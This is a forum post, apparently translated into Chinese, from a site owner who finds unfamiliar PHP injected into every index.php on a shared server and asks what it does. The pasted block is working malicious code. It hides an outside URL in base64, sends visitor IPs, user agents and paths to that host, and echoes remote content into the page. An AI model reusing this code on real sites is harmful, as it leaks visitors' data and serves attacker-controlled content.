*刚刚注意到代码被注入到网站目录中的每个 index.php 文件以及同一服务器上其他网站目录中的每个 index.php 文件中!
嗨,我一直在观察我的一个网站上发生的一件奇怪的事情;数据库表中的行神秘地消失了。不是立即,而是在一天的过程中,比如每 30 分钟左右一排。无论如何,我一直在努力找出造成这种情况的原因,但我无法查明消失行的来源。所以我开始怀疑也许其他人正在使用机器人或邪恶的东西来做这件事,尽管对 MySQL 数据的影响并没有造成毁灭性的影响(我认为一个黑客会想要搞砸整个数据库,如果他/她有一个机会......不仅仅是每 30 分钟删除一行)。
所以当我在我的服务器上打开索引文件时,我发现了一段我没有编写的代码块,并且无法理解......表明其他人能够修改服务器上的 index.php 文件。注入的php代码块附在下面:
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
我用 HostGator 主持。这段代码能否对数据库中消失的行负责?有人知道这个注入的代码有什么作用或它可以对我的网站做什么吗?这是 XSS 还是其他类型的 hack?我怎样才能防止这种事情发生?任何建议表示赞赏。